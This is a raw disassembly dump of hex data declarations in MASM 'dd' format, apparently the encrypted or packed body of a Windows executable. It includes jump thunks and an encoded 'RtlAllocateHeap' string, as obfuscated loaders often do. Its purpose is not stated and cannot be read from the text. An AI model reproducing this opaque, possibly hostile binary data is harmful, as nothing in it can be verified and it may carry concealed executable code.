		dd 42321566h, 0A88C7406h, 0E92001B6h, 601E9430h, 46B6589Ch
		dd 8188473Dh, 7F7CCC49h, 7BF094BCh, 0D56E504Dh,	0FBB357BCh
		dd 63DA33Eh, 4B68C667h,	223203E7h, 9D3D7566h, 88321566h
		dd 44321D8Eh, 7EFD1F66h, 14E4B2C2h, 87534ABCh, 4DDB1BD0h
		dd 21321566h, 61535689h, 0BEAE9DB0h, 4BB2ECE6h,	223248E5h
		dd 19B01A66h, 0E8321566h, 4BECAA69h, 0A353EAD9h, 6D47C48Dh
		dd 0D9F91402h, 3847C4DFh, 7BF91402h, 1132128Fh,	0BFEB3666h
		dd 0CE78B978h, 2233AA31h, 0EA331566h, 8826FC39h, 0BA011566h
		dd 146A578Fh, 2C362DC3h, 0AEFC8073h, 0ADA79B8Ch, 0B9DB5649h
		dd 71321566h, 9C4AA69h,	4301C8BFh, 9662741Eh, 0EFFEEB82h
		dd 8E6E3AAh, 80CC09AAh,	0A2DF9E6h, 35369E87h, 8836D1E7h
		dd 4CDB1566h, 0CA321566h, 68143A20h, 0DF189AD1h, 443215D9h
		dd 74DD9466h, 384D4D76h, 0DEF594A9h, 0C34D4D76h, 29DB4A9Fh
		dd 58321566h, 5E06B512h, 48B294C2h, 0A05A2960h,	9832156Dh
		dd 77883172h, 65321566h, 24DB4FB7h, 0B5321566h,	738D1CECh
		dd 0A28C439Eh, 0A334D276h, 0D9842088h, 0D6C13C64h, 87B3DE4Fh
		dd 21CC4FD7h, 113A9A69h, 0B3D1566h, 44321564h, 0A7B97406h
		dd 171B0BA7h, 3DA79E9Eh, 0BD343C68h, 0DDC9168Fh, 19DB7599h
		dd 58321566h, 404FFF59h, 436B2806h, 691D90A1h, 88301356h
		dd 12CA1566h, 0A11609EDh, 993D11A2h, 8832156Ah,	9EB37306h
		dd 0A354F058h, 708AF1AFh, 0E83CA369h, 1A537530h, 0D2A5AC00h
		dd 91CB9507h, 88BC9669h, 48DB1566h, 5C321566h, 9551ED01h
		dd 0C7236CCEh, 0C5265EA9h, 6D36628Dh, 0B2D9946Bh, 89646647h
		dd 0E7F194ADh, 0A3646647h, 5E3662A5h, 46B3756Bh, 7443839h
		dd 558C4307h, 570BE62Dh, 7F35FBA7h, 0B2B353B8h,	0DDBE0C0Ch
		dd 1E6CE667h, 883203EAh, 4423FC66h, 0D4D1566h, 39BD305Fh
		dd 44B96A6Eh, 44631CF2h, 0CB2A790Bh, 113215A7h,	88321C8Fh
		dd 8735BC66h, 0D9AF2288h, 0DBF460h, 57321566h, 0D0D03E9Eh
		dd 5ABFD5D1h, 0BA4751D1h, 0CF652119h, 0CD36F9E5h, 0DD81317Ah
		dd 0ED69CC4Eh, 8824DA0Eh, 602E9C66h, 223215DDh,	96F93C66h
		dd 93D4EBFh, 4432156Ah,	22349569h, 973D1566h, 88321566h
		dd 441A960Eh, 6069C66h,	0E40828D8h, 0B7C4942Dh,	0C546FB61h
		dd 0C514BA88h, 0D0E4E26Bh, 6EF31388h, 8BC49465h, 32BCC1Bh
		dd 1E524B97h, 883213E5h, 44B71A66h, 0CB321566h,	1132156Ch
		dd 5D5ECDE9h, 862A3A1Eh, 0A3532FD9h, 5D3790A5h,	9F19453h
		dd 6D287124h, 0A3D994ADh, 90287124h, 0C437908Dh, 78D7553h
		dd 444CFA7Dh, 179CE6E7h, 49B79E07h, 0B8343C78h,	2C8780EDh
		dd 1EDB134Fh, 0B9321566h, 0F96C4479h, 0F7C92FEFh, 5F54801Bh
		dd 35B1F0A4h, 421B3813h, 0D4B61A67h, 71CDEA90h,	88309C69h
		dd 0B4B91566h, 0FA09E007h, 113C9769h, 70521566h, 7D53FAECh
		dd 0D7B41AB5h, 0E8CDEA8Ah, 77CDAE35h, 9A33EA99h, 0C0B8753Dh
		dd 4753C8ECh, 0EA9FAC37h, 8334C43h, 7B6B1142h, 739FFCE7h
		dd 87524C43h, 443204E9h, 2239FD66h, 2031566h, 5E1909AAh
		dd 0C37E23C7h, 0A9654E9Ch, 90534E94h, 405BC5A7h, 9DDB9471h
		dd 0B4D4B22h, 0C8F3949Fh, 94D4B22h, 8C5BC58Fh, 0E5B97571h
		dd 44607493h, 0FD15AC0Eh, 0B1B34835h, 34A921A9h, 4ACCE0E7h
		dd 7DB370D5h, 170700F6h, 7F2FE0E7h, 0FBBB660Eh,	0D2E33C3Bh
		dd 44321B8Fh, 6E487E66h, 6A2DAEEDh, 1A1DA70Ch, 1772AD89h
		dd 0AAE7A536h, 2D824DA1h, 7169ED56h, 4B52BF9Eh,	223215ECh
		dd 278B7366h, 400374B3h, 8C03D457h, 22321E8Fh, 0F4602F66h
		dd 0E2E17482h, 897EF19Ch, 223CFCCDh, 4BD51566h,	8F73E9DAh
		dd 7915ED0Dh, 712964E0h, 0EEE3988Fh, 8835FC99h,	0D7571566h
		dd 7634E190h, 118B44F6h, 89321566h, 44894697h, 23321566h
		dd 4A319FADh, 8837FC3Fh, 13531566h, 1E9D630Ch, 56B61A8Eh
		dd 87321566h, 44320CE8h, 2226FC66h, 0D78B1566h,	0ECC7893Bh
		dd 5E0A7EA1h, 0EA8C5C16h, 825409h, 3260FEC6h, 537C532Dh
		dd 938BA0DEh, 9AE2148Eh, 4CB33172h, 44321562h, 23BCFC93h
		dd 16DB1566h, 34321566h, 504AC142h, 605A03DDh, 9832151Ch
		dd 87DB317Ah, 0BD321566h, 136DBC6Ah, 0F91EF06Ch, 0BEC1DF0Fh
		dd 2CCE2138h, 22324936h, 981639EFh, 0D5D99C93h,	75887306h
		dd 43F49E55h, 1133AC37h, 61B31566h, 565D4953h, 0E3B3E467h
		dd 35D4953h, 716B0C65h,	4437AB30h, 0C9B31566h, 4A6A4D86h
		dd 4BB3E667h, 1F6A4D86h, 0A83DE038h, 1132156Eh,	88309669h
		dd 25521566h, 0CA864537h, 996AF4EEh, 0E8524CAEh, 4432138Eh
		dd 0DD02966h, 4FE729A4h, 88329169h, 25531566h, 23B31ACCh
		dd 0E9321566h, 0B86BD6E7h, 0BF1B5396h, 47B2AB30h, 0CFC55E53h
		dd 0D4D49428h, 0C51A9C6Bh, 9A21D5A0h, 13DCD466h, 0BF6CE3E7h
		dd 0B71B5BC6h, 2239FC38h, 0B7931566h, 0A6CC0B5Fh, 422DE558h
		dd 9B63407Bh, 29253D04h, 97BCC91h, 6D5F3687h, 21F39454h
		dd 98CFC2DDh, 631B4CABh, 1762E03Bh, 0A31611EDh,	113211A2h
		dd 23C74E66h, 4439FC06h, 0B0851566h, 0B8C3B761h, 0EF8A89ECh
		dd 0BB53ED64h, 0A1693152h, 1DB11A2h, 84321566h,	33A35AF5h
		dd 956BC029h, 0AAB27309h, 0DFB943D4h, 443210D9h, 0A9CC1466h
		dd 0D5B3315Ah, 88321562h, 44339C69h, 0CBC71566h, 1132156Fh
		dd 5453A20Dh, 7BB6186h,	52177DFDh, 25BB1566h, 0DC147D42h
		dd 0C56C45C5h, 9708D390h, 0FADC9472h, 9748E58h,	0C0E219A0h
		dd 7CC29C64h, 17B81A06h, 87321566h, 443215EDh, 43E59E66h
		dd 1121FCA5h, 20611566h, 0B5F0B718h, 7BE36BAFh,	0FE74BD8Dh
		dd 9E6AB70Ah, 5DBF1A4Ch, 2D321566h, 113206E6h, 883CFC66h
		dd 41951566h, 0F376B677h, 3BEAA8C1h, 7EA82CFCh,	44444A0Eh
		dd 63E9C66h, 11359269h,	0E3D1566h, 44321567h, 0DD54ED9Ah
		dd 77647350h, 0EE4AE6D8h, 4616614Fh, 7A544B00h,	69C11000h
		dd 8835FD06h, 0D2B31566h
		dd 0D5975A21h, 963D4BB6h, 88321560h, 44329069h,	2D531566h
		dd 113214EFh, 4B0EE966h, 45B09169h, 1ECA1566h, 68B61AADh
		dd 61321567h, 44321577h, 460C2F2Ch, 35B0B9F0h, 0B7CD9024h
		dd 79B2CD65h, 2DF0295Fh, 113385E2h, 883EFC66h, 0A9231566h
		dd 0E16C2A02h, 660BD411h, 420E3E01h, 45459169h,	33DB1566h
		dd 40321566h, 0AE5930FBh, 0DE7F170Bh, 0D3146244h, 0FB33C503h
		dd 88321E8Fh, 75428766h, 35FF0313h, 0C4539BD8h,	0ADCD2800h
		dd 45B79169h, 96521566h, 1126FC3Ah, 0D6751566h,	1CE31A3Dh
		dd 1321F1B9h, 26EDF470h, 56C58632h, 2253BF3Fh, 2DCD3B5Bh
		dd 113281E3h, 373D7566h, 4437FCB1h, 0E7151566h,	70A48C4Dh
		dd 8830AC37h, 0B5331566h, 2232AF34h, 0DB331566h, 0D16817ECh
		dd 44321E8Fh, 74449666h, 61826F11h, 803D8969h, 14E1A734h
		dd 0CEF25AD2h, 91F6EB61h, 44B2E2AAh, 0C4E6E3FBh, 0C0021D8Ah
		dd 62F8953Eh, 62B2D798h, 0E7C0954Fh, 0CB68C546h, 11321563h
		dd 0AB038315h, 4423FC10h, 66C71566h, 0EF8AC855h, 7F798566h
		dd 39F932C0h, 1E4F339Dh, 5DB61AC6h, 87321567h, 443219EDh
		dd 24B31A66h, 1E321566h, 883215E3h, 603E9E66h, 0A3D19C35h
		dd 113211A5h, 8CF19466h, 0C3321566h, 2D6E317Ah,	113214EFh
		dd 885AEC66h, 0CF321566h, 0E6B13162h, 19BB1A62h, 0E8321566h
		dd 4355F7E7h, 0CB5330B8h, 113214F9h, 6AD89406h,	4B78561Eh
		dd 22321BEEh, 113BFC66h, 0E9C01566h, 46A7A4F7h,	43528183h
		dd 1BDBDC57h, 0B8321566h, 0BC3640C5h, 3DEFCDF0h, 1089460Bh
		dd 89321566h, 0ADCA4EBFh, 223215B9h, 0BAD29406h, 0E84691C3h
		dd 54039CDDh, 22B11A6Ch, 70321566h, 88317D07h, 48B91566h
		dd 26F69642h, 1132048Fh, 7BA24D66h, 69F0D3F2h, 7EFC7E2Bh
		dd 0FC5D3193h, 2CDB9AC4h, 24321566h, 0CB59DDE6h, 11321568h
		dd 37BD679Dh, 0DE228C7h, 0C4A2B038h, 0A8535C27h, 0C94830ACh
		dd 78D1D4E7h, 0C3B3047Bh, 10B5394Dh, 0BB9AF4E7h, 0A5F339A5h
		dd 868F4065h, 90652C07h, 6B71AB8Bh, 0DFF945Ch, 0E31FB92Bh
		dd 0D4B3108Bh, 71C51EB1h, 246FFC67h, 223D9869h,	1BDB1566h
		dd 66321566h, 0B518BCB7h, 7A31AAC7h, 0F0E595B7h, 8821FC07h
		dd 29051566h, 0E71F1FEFh, 9381109Fh, 0BCF9B5D7h, 9D20AB35h
		dd 222FFC86h, 46C71566h, 0CE58F70Eh, 9BC54A0Eh,	4847DAE7h
		dd 0AB6046BEh, 5FCBEA1Eh, 0CD68C257h, 0D1CE4A9Fh, 1122FCC2h
		dd 120A1566h, 0E353F49h, 7EFF78F5h, 0FB8E7DC4h,	5B9285Ah
		dd 421B1BD3h, 22239069h, 0F8521566h, 8832156Eh,	6F0A975Eh
		dd 2AC5F8C4h, 9453EEEDh, 0A8B71AAFh, 0BC321566h, 2C87A0EFh
		dd 5DB134Fh, 0AF321566h, 0FD90AA9Ch, 0A97A36E5h, 88B514D1h
		dd 51EC628Ch, 0BBFE3082h, 0A36B3152h, 113211A2h, 3765E066h
		dd 44321567h, 1EB9EDEFh, 15F69442h, 87321566h, 443210E0h
		dd 74CA7566h, 0D2C7743Fh, 888B449Ah, 45321566h,	23B97397h
		dd 901619EDh, 883211A2h, 870EE966h, 23AD9169h, 923D1566h
		dd 88321561h, 44339869h, 70CE1566h, 9963D3EEh, 0D1F99D97h
		dd 56BD1A3Ch, 42321566h, 0F8E9AA69h, 8832156Eh,	64541ABCh
		dd 0FB8C7D42h, 15DE9607h, 3A1601EFh, 0BAF8EB40h, 0C2D895ACh
		dd 9114DFE6h, 5B128394h, 9FB3753Ch, 26EDA842h, 0F853D4EDh
		dd 8832156Ch, 1E13A106h, 0EEF1F890h, 0EAB2B44Ah, 5B61A16h
		dd 4B321565h, 223218E1h, 113AFC66h, 44FE1566h, 144CF301h
		dd 1ECAE7F7h, 0BB61A8Fh, 70321567h, 0C03DFE5Ah,	22321477h
		dd 1EF0299Eh, 88331DE2h, 78CAED66h, 0DCB61AADh,	0E9321566h
		dd 0ADCD2800h, 44C19169h, 0AE3D1566h, 11321573h, 8832058Fh
		dd 0F7F56966h, 0CC1586A2h, 0C57EA8D5h, 0C5413806h, 4BF82907h
		dd 2232C5E2h, 14BD1A66h, 0E8321566h, 256A469Ah,	0A63DF65Ah
		dd 11321672h, 0A60F739Ah, 3AB71A99h, 42321566h,	4053E7EDh
		dd 883217DFh, 16C31466h, 223215DCh, 9BF81466h, 616B4F64h
		dd 44321563h, 0AD095F59h, 0A760E988h, 428146CBh, 0C46CE6E6h
		dd 0E1B2F68Dh, 0A5C1955Eh, 0A869CB56h, 0C13D4F96h, 22321567h
		dd 1E922993h, 88327DE2h, 0C63D7566h, 22321563h,	0B3D6D3D9h
		dd 8839FD1Bh, 5311566h,	34CB819Ah, 0FFFDB9BFh, 8823FC2Dh
		dd 7A331566h, 0B6AD6287h, 0A1CE68B4h, 0E07B2764h, 1FEA08CBh
		dd 22327D07h, 15B91566h, 8CF69642h, 44321F8Fh, 98331566h
		dd 2C78C497h, 87351FEDh, 44321DE8h, 20B71A66h, 71321566h
		dd 8876FC07h, 0C03D1566h, 22321567h, 0A4879C93h, 71343C68h
		dd 0D6DB88EBh, 94521349h, 0C2CD7457h, 0E061E99Fh, 449C3100h
		dd 0A31609EDh, 113211A2h, 8FD9D466h, 7C8FD6E7h,	0E1B34969h
		dd 0B2DD7F9Ah, 0E869CDEFh, 0F33DE2EDh, 2DF17495h, 113214EFh
		dd 0E0CAEC66h, 44323416h, 0DE1611EFh, 90226399h, 0BCBF314Ah
		dd 136A63C6h, 4C290FD9h, 57F59452h, 953221Ch, 0BEAD38A1h
		dd 7DCA1486h, 70B79C9Fh, 0E8343C4Ch, 0C13D759Ah, 22321566h
		dd 0E4AF48DDh, 77537413h, 0C76A3152h, 2FDB11A2h, 62321566h
		dd 0C4502578h, 0C3286C75h, 0BF4817CEh, 112EAE35h, 66B31566h
		dd 734822F8h, 0E4B3CB67h, 264822F8h, 82B91A3Dh,	0AD321566h
		dd 22321563h, 0CEFC3905h, 84B71ABCh, 4B321566h,	223213E8h
		dd 11B51A66h, 5321566h,	6D0374DBh, 2239FC60h, 5E751566h
		dd 4BE2E2C3h, 0F8BFA927h, 2ADBB83Fh, 0DD321566h, 0D160931Ah
		dd 696F4910h, 304F3FEEh, 35165165h, 0A2BAAA31h,	0BC33071Bh
		dd 2223FC39h, 0C9901566h, 0C9C632AFh, 52FA6A29h, 0D6BC8FCh
		dd 71DD4B55h, 88329469h, 8BB31566h, 0DB44BDCh, 14DBBE07h
		dd 47321566h, 0DC8FF264h, 259FA8EBh, 973D134Fh,	8832156Ch
		dd 44B71A06h, 74321566h, 719F743Fh, 86C1959Fh, 76153807h
		dd 0DC377858h, 121D0B00h, 0A5163122h, 6B2C7398h, 1C003263h
		dd 1122FC0Bh, 765E1566h, 674FD60Ah, 2B3B4984h, 0A87820DAh
		dd 0B3D5CFDh, 4432157Eh, 2232068Fh, 5F58CA66h, 8A72D8h
		dd 0E5ADBF58h, 226BF17Bh, 0FC6717C3h, 8815FC0Eh, 60369C66h
		dd 22209969h, 1CDB1566h, 22321566h, 481C499Fh, 0E9F21012h
		dd 42C2BF2h, 46B375CDh,	28286BBBh, 22379569h, 90541566h
		dd 0E96DCA94h, 68D7A8EBh, 0AF3D134Fh, 11321567h, 8752B893h
		dd 443205E9h, 2239FC66h, 73771566h, 2CBB3AE9h, 0C5D8CD4h
		dd 435275B1h, 7053CBEDh, 6B3FF963h, 6A6F381Bh, 663137F8h
		dd 4C373D42h, 0A5108B48h, 39D1188Ah, 0F2B37306h, 0AE3D35ABh
		dd 61997490h, 44321568h, 86A24640h, 8DE166EDh, 0E4FBCAF5h
		dd 70CDE192h, 0E6B34B42h, 11321562h, 883E9869h,	43DB1566h
		dd 0B3321566h, 0F761490Ah, 74F18474h, 0C5D59C31h, 223211A1h
		dd 15DD9666h, 0D41629E1h, 4B1621EFh, 223203ECh,	1FDA7566h
		dd 0CF321566h, 0E2E02A2Eh, 5B11D7B2h, 73F7D9ECh, 5534D69h
		dd 6BA039FBh, 0DDCBED60h, 27DBE0B5h, 61CDEA9Bh,	44321568h
		dd 2D19563Fh, 27A6B647h, 2B19AADFh, 0CEDF8457h,	0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 75DA05C0h, 0A8ED96A4h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 43BA5E6Fh, 4832DCF1h, 0BA8C2566h
		dd 0A8EDD871h, 458A42C3h
		dd 58DDAEA2h, 0C88260D5h, 64E30438h, 0DF07462Ch, 52981DBEh
		dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0EEB8FA7h
		dd 0D9FB5792h, 75C609B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h
		dd 3075195Fh, 3932DCAAh, 168C2561h, 18B4CB2Fh, 9675131Ah
		dd 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh
		dd 2AE900h, 4C70000h, 24h, 0E800h, 815D0000h, 3050ECEDh
		dd 24448B06h, 0B9858904h, 0B8062927h, 0
		dd 4D6B8D8Dh, 0E1FF0629h, 6754B8h, 0A4E900h, 0BD00000h
		dd 449C7AF8h, 866781B5h, 322FC90Dh, 15EB0DC1h, 0CE0A5A98h
		dd 2C2EA301h, 79FD70CAh, 87B73C9Fh, 0CE0C8561h,	9C1F1B6Ah
		dd 57A3C9Dh, 1DC4C568h,	79DF18EEh, 0B3429EE0h, 81B59CF7h
		dd 9C712BC5h, 0FA318E31h, 0AD4A802Eh, 0D6807129h, 80B3430Bh
		dd 971CFF59h, 7F8CF0D3h, 2F2AA854h, 397C410h, 1C000000h
		dd 1FC4B43Fh, 0E0441AECh, 5C3F9169h, 0DBBD13D7h, 583E9056h
		dd 0DDB315D5h, 29309650h, 0D3AA6CDAh, 3028EE58h, 683A79C1h
		dd 6305114h, 0F92BF1E9h, 24A44BFFh, 0B49F573Ch,	0AA1E2C6h
		dd 9D8D62F5h, 6292039h,	13A8B8h, 31858900h, 0E8062906h
		dd 0
		dd 0D0558h, 3890000h, 13A8E9h, 0Bh dup(0)
		dd 0F305E983h, 0E4CB8BA4h, 0B1325ABEh, 3F143CABh, 2398C54Ch
		dd 9D3CFB6h, 4DDEDD87h,	0B1325652h, 5BB30C5Dh, 0B71D959Ah
		dd 0B133DC58h, 58CB56ABh, 0B13256D8h, 0D9436307h, 83FFC710h
		dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 7E17FB23h,	25FB4A83h
		dd 0FDF53FD5h, 45C08CADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73CD4590h, 4880FFA0h, 0F305E983h
		dd 8DDB8BA4h, 307833BDh, 728D8D06h, 0B8063101h,	32156644h
		dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 0F8F67549h, 48B50F9h
		dd 4C48124h, 0FC000000h, 309DBD83h, 75000629h, 75BD8309h
		dd 62900h, 53501974h, 11B8C08Bh, 89000004h, 290DA185h
		dd 99D8D06h, 0FF062BABh, 83585BD3h, 290075BDh, 17740006h
		dd 11B85350h, 89000004h, 290DA185h, 0AA9D8D06h,	0FF062BA7h
		dd 0FC585BD3h, 13890FF5h, 0E9000000h, 0Eh, 39B4F842h, 0E26C2FACh
		dd 0AD52B2FFh, 2F68208Fh, 89000077h, 34812404h,	0E121FA24h
		dd 0FA35585Bh, 0FC5BE121h, 29E9F8h, 1D270000h, 7959h, 8	dup(0)
		dd 0E9000000h, 4BEh, 3105F568h,	78C6E906h, 6768FFF8h, 0E9063106h
		dd 0FFF878BCh, 3107E468h, 78B2E906h, 312EFFF8h,	6AF610C2h
		dd 0D8BD5B9Bh, 0DC05E353h, 6BC92F2Fh, 0AC2474E6h, 0CE0C8167h
		dd 13C34E28h, 559912F5h, 0E052DBB3h, 0C6296D44h, 337A3BEAh
		dd 66C4EB12h, 0DDB91FEBh, 298FE654h, 2E65C54Eh,	2A970CAh
		dd 51A2D039h, 0B8806CEFh, 27888ED7h, 92806CEFh,	715AAB81h
		dd 0FE48C5A7h, 43434795h, 0A47A45EBh, 0DAC60FFBh, 6AA798A4h
		dd 6CAC88C1h, 8696CD0Fh, 0CEB8338Ah, 0CD209387h, 86898696h
		dd 16D05B32h, 72C85EFCh, 45B19AF3h, 8696CCF2h, 0FB4FC4A7h
		dd 8DEBB4A8h, 0B53FB76Fh, 4D74B309h, 2F5h, 5C454BE6h, 0AF35830Dh
		dd 0E86CF7C5h, 0E6195FEh, 0FB806C5Fh, 2FEA4CA8h, 537BBF84h
		dd 0B47A4546h, 32B6FEBh, 0D8393A94h, 4891FA41h,	0BE339167h
		dd 0FADFF778h, 48C39A83h, 0D4BF95FEh, 5B2FA200h, 86EC2C08h
		dd 297DD3B9h, 4FCA8066h, 4E9B9FE4h, 7383FCCDh, 997DDB20h
		dd 60C42210h, 0F24E54E9h, 5F53A9DDh, 30708h, 0D92A3100h
		dd 9667F315h, 60EB42A4h, 3ECD14F2h, 8904DA3Ch, 70BD1545h
		dd 39DF1F92h, 8660D25Fh, 4AACAE25h, 5FFB7BF2h, 0E9AF0076h
		dd 7B1A7A3Bh, 0D259C0F0h, 0EA908D89h, 6E317A5Dh, 7221B05h
		dd 379957A5h, 0DDBB8CE1h, 9295D77Fh, 4F4FBD88h,	0DCB21064h
		dd 0A57B9D51h, 0A1775E28h, 2C6C48B9h, 37CDC084h, 0C97AF34Bh
		dd 0B38CF6E7h, 95F3C4CAh, 0A3000002h, 719747B4h, 3CDA18E9h
		dd 8660D259h, 4CAAA85Bh, 0A3F363EEh, 8904DA27h,	44C9A345h
		dd 1C977096h, 0D55C38DEh, 0B6ECC561h, 7A3BE945h, 0C06A91ACh
		dd 2F89D259h, 2162C449h, 6F91FACBh, 0D7B7BEB4h,	75BBE85Eh
		dd 32608CC0h, 806CC0C1h, 381C6728h, 5DBBDDF8h, 0C9AD0B7Ah
		dd 0A5EE7440h, 0C552A1C5h, 319A869Dh, 40891DCFh, 4AAE665Ch
		dd 0E072B4h, 3A74ACCBh,	1A1h, 0E960C433h, 0ABEF3011h, 806CEF48h
		dd 348AEEB1h, 0F715D950h, 46BC9922h, 7A45BE8Ch,	5A5E287Bh
		dd 86961FDDh, 3A74A411h, 0BF1C8553h, 0AA7C92E6h, 63EA4216h
		dd 83DE0615h, 571474B3h, 0D1000000h, 0A2D059C0h, 806CEF51h
		dd 0A78CD7B8h, 0ECDD7C79h, 6CB145B6h, 0BDE3AC80h, 2276E5ECh
		dd 7393D7C3h, 0E2CB7A45h, 957443B4h, 0DA5D5986h, 0C7869573h
		dd 0B99F805Ch, 0F236F0A3h, 86957385h, 7337BA1Ch, 0F6B0399Dh
		dd 3D91958Bh, 1E988E0Ah, 74B462D6h, 0BA6Ch, 454BD900h
		dd 0E2AB4D74h, 563400DDh, 0D58B7FF6h, 4A0CFA77h, 0C98F7BF2h
		dd 399FE46Dh, 4686D25Fh, 6C678B02h, 27AE0E80h, 5FFA5E37h
		dd 8F8BDAACh, 806C712Ch, 55A38A95h, 0B09D26F3h,	9F10066Fh
		dd 0A806C70h, 85FF3319h, 727A47C8h, 87F3C421h, 86981934h
		dd 3A8C7DE5h, 0CC287BE9h, 3CB117E1h, 0F77AD83Eh, 931B5876h
		dd 724549B3h, 118h, 0AC83B20h, 518574ECh, 995DD6B7h, 0DD11E27Fh
		dd 6AE8653Bh, 0F3519E3Ah, 401AFC7Eh, 0CEF09CDh,	0D5B15787h
		dd 6B3A9E5Ch, 3BE7CC2Fh, 9518357Ah, 0C334624Bh,	2E806CEEh
		dd 0D3B11765h, 0A8F378D3h, 61E84CAAh, 52D9BC04h, 4B4DC606h
		dd 0B08475EDh, 37F37AD2h, 0FE7CF551h, 0ED367D1Ch, 462473A9h
		dd 0D09147Ah, 86963CAAh, 5362917h, 578BAF19h, 78D8250Ch
		dd 6327179Ah, 86968214h, 0EED91E02h, 0C1E2232Ah, 38B115EBh
		dd 0F37EDC3Ah, 81F5DE37h, 86968B2Eh, 3FAC889Bh,	7Ch, 0CD454BB4h
		dd 568E0CC6h, 1BFE58BCh, 864F4B90h, 737A5DE3h, 24804620h
		dd 70C0A9ADh, 5D3319E8h, 5FB670F9h, 0E6FD5B51h,	421652B0h
		dd 4C8763EAh, 0E4472868h, 0F086B734h, 38B1152Eh, 2EA305D3h
		dd 0C8AD0B58h, 48ACE743h, 1B926A8Ch, 2EFA6632h,	0D1C40243h
		dd 0CC287398h, 4CBF9A7Ch, 0CE3D24FAh, 49C4A678h, 15090FF1h
		dd 56C850A1h, 0D200896Dh, 61D95034h, 35Eh, 0B43FD700h
		dd 1AEC1FC4h, 9169E044h, 13D75C3Fh, 9056DBBDh, 15D5583Eh
		dd 9650DDB3h, 6CDA2930h, 0EE58D3AAh, 79C13028h,	1208683Ah
		dd 0C890000h, 5926824h,	4890000h, 5646824h, 3C890000h
		dd 0EABF5724h, 53063104h, 0D889FB89h, 72685F5Bh, 8900001Eh
		dd 4832424h, 685F0424h,	54h, 8F240489h,	3C8B0847h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 582434FFh, 4C481h, 1DE90000h
		dd 0D2FFF874h, 0CE661514h, 9E40B4B1h, 21B86435h, 3063109h
		dd 0ABE0FFC5h, 63322EAFh, 96AD639h, 61BE68Bh, 0E95A7AB2h
		dd 0EDh, 0D88C6660h, 840F04A8h,	0DFh, 1B4DB58Bh, 0FE830629h
		dd 22850F00h, 0C6000000h, 291B5985h, 69684506h,	0FF8E7269h
		dd 292639B5h, 0D2858D06h, 0FF062C7Bh, 0ED8589D0h, 8B062923h
		dd 0E93E80F0h, 31850Fh,	858D0000h, 62E8E38h, 0BD8BD0FFh
		dd 6291E35h, 1184C781h,	0B58B0000h, 6291B4Dh, 8B9F787h
		dd 0F3000000h, 4DB58BA4h, 8D06291Bh, 2D3C9185h,	8BD0FF06h
		dd 291FC1B5h, 0FE8306h,	22850Fh, 85C60000h, 6291B59h, 0BEF46854h
		dd 0B5FFFF4Eh, 6292639h, 7BD2858Dh, 0D0FF062Ch,	1FC18589h
		dd 0F08B0629h, 0FE93E80h, 3A85h, 0C1B58B00h, 8D06291Fh
		dd 2E8E3885h, 8BD0FF06h, 291E35BDh, 84C78106h, 83000011h
		dd 0B58B08C7h, 6291FC1h, 8B9F787h, 0F3000000h, 0C1B58BA4h
		dd 8D06291Fh, 2D3C9185h, 61D0FF06h, 0A8858DC3h,	89063109h
		dd 292CDD85h, 13E806h, 1CDA0000h, 1377B5B9h, 0CFCF13FAh
		dd 0AE1265CBh, 0C48D54D9h, 4804BAC5h, 0F5B38DEh, 38Fh
		dd 0CEBF0F00h, 6897C381h, 81660000h, 0B8FD95EAh, 19FAh
		dd 0E833FFF8h, 0Bh, 4F90840Bh, 7265EB54h, 5AC079C9h, 3800F5Eh
		dd 66000000h, 0F681F98Bh, 43539C6Bh, 1890Fh, 81F80000h
		dd 0C047DDF6h, 0E0F68128h, 0F0A2F50h, 178Eh, 0FE800h, 12100000h
		dd 671BA56Bh, 0FC382D0Fh, 0ED015D3Dh, 59F98B94h, 0F1816656h
		dd 38F710Fh, 8DC78166h,	3EB8394h, 0FF18B60h, 84h, 8B4B6100h
		dd 1E881D3h, 0F000000h,	0FFFF8485h, 7CBF66FFh, 0FC8D8D74h
		dd 6A06310Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 1C2EC355h, 6D8D89CDh, 6A06291Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 2E28C353h, 0ED281AC0h, 0DF4EE381h, 85C70DA1h
		dd 6292D81h, 683Ch, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 15C35040h, 0E4B59438h, 1401858Bh, 85C70629h
		dd 6292005h, 0
		dd 0B5FFF98Ah, 6293545h, 0FFF28B66h, 2931E995h,	0FF006A06h
		dd 29059195h, 0EBC08B06h, 152CA06Ah, 74B3F74Eh,	0F48B4712h
		dd 0C77B1AC5h, 0F48D0408h, 2C8DAC97h, 0DE782ED0h, 4C1E854h
		dd 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h, 97926708h, 26ACBA8Ah
		dd 0D0A6928h, 0ED04C79h, 32AAB3ADh, 0E356821h, 759A3E78h
		dd 0EFE31BA1h, 0BF274AA3h, 47190CC9h, 82C0558h,	0F2633E73h
		dd 0DAD2CB56h, 0E86D0468h, 0AAE95620h, 0E99CDF80h, 2Eh
		dd 2DAB6F1Eh, 416C7452h, 636F6C6Ch, 48657461h, 706165h
		dd 140000h, 5 dup(0)
		dd 0DDE90000h, 68000010h, 6310E54h, 0F870EFE9h,	0F6F68FFh
		dd 0E5E90631h, 68FFF870h, 631120Eh, 0F870DBE9h,	136368FFh
		dd 0D1E90631h, 68FFF870h, 631164Ch, 0F870C7E9h,	171968FFh
		dd 0BDE90631h, 68FFF870h, 631175Bh, 0F870B3E9h,	185468FFh
		dd 0A9E90631h, 68FFF870h, 63118ECh, 0F8709FE9h,	194B68FFh
		dd 95E90631h, 68FFF870h, 6311ADBh, 0F8708BE9h, 1BFB68FFh
